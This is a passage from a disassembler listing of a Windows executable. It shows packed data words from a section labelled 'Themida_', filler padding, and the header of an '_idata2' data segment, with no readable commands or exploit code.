5161DA8Bh, 1E29C381h, 0F5B35F4h, 0C89h, 68E0F00h dd 81000000h, 0A9A569D3h, 80DA8B09h, 11E951CAh, 83000000h dd 0D0919E04h, 0F152AE9Dh, 4E1E89F9h, 61B60FAAh, 0F9C9BF0Fh dd 29DAF281h, 0B70F4597h, 0F88B52DBh, 0F92B85Bh, 9E81590h dd 3D000000h, 0B13CBE55h, 0AC4C15DAh, 1350FBAh, 7E85A45h dd 0DC000000h, 25694DEBh, 8166A93Fh, 5BF289F2h, 5E9h, 0B1DF8B00h dd 880FFAFBh, 19h, 14E9h, 5AFC9F00h, 30C62243h, 20CB4C3Ah dd 0DA32CD13h, 0B71C5848h, 10E9D8h, 2AE60000h, 0EECDF718h dd 3E2A14D9h, 9EB0854h, 0D58AE7FEh, 0B3B1BAFCh, 816610E1h dd 0B94B0FC0h, 3A07D243h, 830F6052h, 0 dd 68A012BAh, 0E858614Fh, 0Eh, 65234E89h, 0D50175FAh, 0E79F403Bh dd 12E947B0h, 8D000000h, 0A1F30B63h, 1DEE8929h, 69247F1Bh dd 36AA0F6Eh, 7E85947h, 0BC000000h, 104C3994h, 55B508F4h dd 0FCF8058h, 8B66C38Bh, 0F180F8DEh, 0DFB70FB9h, 0AE8h dd 76C34F00h, 3FAADE96h, 0FE7BD44h, 0E85FC0B7h, 6, 0F4259CADh dd 5E9684Fh, 64000000h, 0BC268830h, 0E623BE5Ah, 0D38B081Eh dd 6E9h, 0EA32BD00h, 50003552h, 0ABE78158h, 0E8198FCCh dd 13h, 113DE840h, 79C1B7CBh, 0F4DA1608h, 4D590CAh, 5AF3A478h dd 39C68166h, 6DF080C3h, 86D4C681h, 0F5116B8h, 0F5FC6BFh dd 28Bh, 0B297B000h, 0FCE48045h, 2724B866h, 5631C080h dd 6E89B953h, 58587C22h, 12E8h, 0F33C6000h, 49D38E80h dd 0CE475F0Fh, 742D1380h, 0F9377FA4h, 0F03B05Fh, 0BA66C0B7h dd 14E9CCF6h, 2B000000h, 4766FC6Bh, 9DE1649Fh, 5410A75h dd 85156D0Bh, 0FC471CC8h, 0EBCA8166h, 0CB8B66BAh, 9E8h dd 41E8D400h, 9565247Bh, 59F9F09Eh, 58F0Fh, 81660000h dd 0E926FEE0h, 14h, 52543855h, 0B2F3864Fh, 0F29B2C3Eh dd 0EA57E11Eh, 5FC80E45h, 138E0Fh, 0EE90000h, 0F6000000h dd 428EC112h, 77E05557h, 6ED1ADD4h, 0BE96007h, 0FD000000h dd 2DF9DDFAh, 9CB630F2h, 0C081B424h, 1A010A8Ch, 0DE861h dd 2C580000h, 6F2ED1EDh, 81B866D7h, 0F0EF84Ch, 0E95BD6B7h dd 10h, 319271DFh, 97D5B567h, 723893A7h, 845523BEh, 8153F98Bh dd 0A93844DAh, 0C3815E4Bh, 5ADADF62h, 0CE9h, 0E994EC00h dd 9C183988h, 9DF1CEA6h, 0FFCF585h, 8A60F9B7h, 0F98B66F3h dd 5158B961h, 60600C74h, 61D98B66h, 6661C1B5h, 0CE80E081h dd 80C58AF5h, 0CB836EFh, 5166DC73h, 5E8h, 8C045900h, 0F1807F14h dd 0E95B5F4Ah, 14h, 4F1C5093h, 4A947720h, 144C7DE2h, 32345CBFh dd 0D1B450DBh, 0DE9h, 94E22B00h, 788DC0B7h, 0AB7544B7h dd 880F347Fh, 7, 0CA816652h, 0F58D703h, 0B966F0BFh, 880FA394h dd 2, 0F51CF8Bh, 28Dh, 5A72B100h, 5BF38A53h, 52CA8B66h dd 59F6BF0Fh, 188D0Fh, 13E90000h, 94000000h, 0F59E8063h dd 0EFF1509Eh, 3B74DA1h, 62C63490h, 8B66C492h, 0D88051C2h dd 0DE815B54h, 0F64642Bh, 6ACA8166h, 8B6060DAh, 33E981C7h dd 6143F326h, 5820Fh, 81660000h, 6116A8F6h, 0DE81D88Ah dd 275D2359h, 0BAD58060h, 68C0Fh, 0E9810000h, 6F5C7FD9h dd 81666061h, 617BF9C6h, 13E96053h, 78000000h, 5FD9FB8Eh dd 50329321h, 7B8AAEC5h, 0AB7962D7h, 0DA810963h, 3735E85Bh dd 8B665E61h, 3870FF7h, 66000000h, 0D080F98Bh, 0BE9C0h dd 0AAFD0000h, 9AC863DCh, 0B0ABF85Fh, 0EE9DBh, 8F0F0000h dd 6C173B72h, 2A5C15AAh, 0BB32D416h, 5B03BB66h, 14E9h dd 0D36F000h, 282548EDh, 7E5FF0FEh, 0FF01BFAFh, 3141FE5Bh dd 0D8BF0F74h, 13810Fh, 66600000h, 1F92C881h, 7E9h, 520D2D00h dd 0A38119AEh, 8A605161h, 615E57E8h, 0D2B70F59h, 54F0BB66h dd 52C6BA66h, 0F60DE8Bh, 81BADAB7h, 611BE02Dh, 53FB8B66h dd 0F0D28166h, 8D0F5E3Bh, 3, 0FDBB70Fh, 586h, 50B8BB00h dd 0FF84728h, 0B70FC0B7h, 538DB0D2h, 0FE8h, 0F505D300h dd 878DE953h, 0FB143895h, 3E792F3Fh, 8C0Fh, 5B590000h dd 0C8BF0FFCh, 4E3DBE66h, 6D0A60BAh, 6E92Bh, 9B070000h dd 0F7367CFh, 0EA80D48Ah, 0DE9BCh, 17C90000h, 0E8F2F51Ah dd 5EC5C0BFh, 8BDFAC49h, 0DE9F3h, 515B0000h, 95A8B042h dd 534581E3h, 603572B9h, 8BFFB70Fh, 8B6661C3h, 0D6E280CFh dd 0FE8h, 98357A00h, 5FECD01Ah, 4BB3DC9Ah, 0AFDDA808h dd 5BCB8B66h, 11E8h, 597CB500h, 88056CE8h, 1FEAF165h, 4BFB9090h dd 0E9603BB0h, 0Ch, 2DFAEDB7h, 9C7F83B5h, 0D75D639Fh, 800Fh dd 58610000h, 778EFCDh, 5Ah dup(778EFCEh), 3BB355CEh, 29h dup(3BB35634h) dd 0AAAA1734h, 2F2h dup(0AAAA1742h), 856F1742h, 2Ch dup(856F88A4h) dd 0BC6F88A4h, 3BDh dup(0BCF32286h), 0F2E87D86h, 6Ch dup(0F2E87E36h) dd 0CCCC7E36h, 0BC0h dup(0CCCCCCCCh) asc_5BFF34 db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' ; DATA XREF: Themida_:0053ED18o db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0 align 1000h Themida_ ends ; Section 5. (virtual address 001C1000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001C1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5C1000h align 2000h _idata2 ends end start